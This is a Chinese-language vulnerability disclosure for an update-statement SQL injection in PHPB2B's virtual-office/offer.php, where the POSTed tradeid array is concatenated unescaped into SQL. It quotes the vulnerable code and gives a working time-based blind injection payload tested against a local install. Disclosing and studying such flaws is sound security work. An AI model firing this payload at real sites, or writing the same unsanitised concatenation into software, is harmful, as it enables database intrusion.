### 简要描述：
RT
### 详细说明：
```
注入链接：/virtual-office/offer.php
注入参数：tradeid
漏洞代码：（第346行开始）
if(isset($_POST['refresh'])){
if (!empty($_POST['refresh']) && !empty($_POST['tradeid'])) {
$vals = array();
$pre_submittime = $pdb->GetOne("select max(submit_time) from {$tb_prefix}trades where member_id=".$the_memberid);
if ($pre_submittime>($time_stamp-$tMaxDay*86400)) {
flash("allow_refresh_day");
}
$vals['submit_time'] = $time_stamp;
$vals['expire_days'] = 10;
$vals['expire_time'] = $time_stamp+(24*3600*$vals['expire_days']);
$conditions[]= "status='1'";
$ids = implode(",", $_POST['tradeid']);
$conditions[]= "id in (".$ids.")";
$condition = implode(" AND ", $conditions);
$sql = "update ".$trade->getTable()." set submit_time=".$time_stamp.",expire_days=10,expire_time=".$vals['expire_time']." where ".$condition;
$result = $pdb->Execute($sql);
}
}
$ids = implode(",", $_POST['tradeid']);从前台获取post数组参数tradeid后直接使用implode函数分割后直接拼接sql语句导致Update注入漏洞。
```
### 漏洞证明：
```
漏洞测试：
http://127.0.0.1/phpb2b/virtual-office/offer.php
Post:
refresh=1&tradeid[]=1111)||if((length(user())=0),1,sleep(5))#
这里为了测试把注入的sql语句打印出来
```
[<img src="https://images.seebug.org/upload/201502/091043347bcf26026c8f2fa3535c7da3030d8c5e.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/091043347bcf26026c8f2fa3535c7da3030d8c5e.png)
```
Mysql日志：
```
[<img src="https://images.seebug.org/upload/201502/091043271c06b5a5be5618687358d5145a02f84c.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/091043271c06b5a5be5618687358d5145a02f84c.png)
```
成功执行延时注入
```
京公网安备 11010502034610号
暂无评论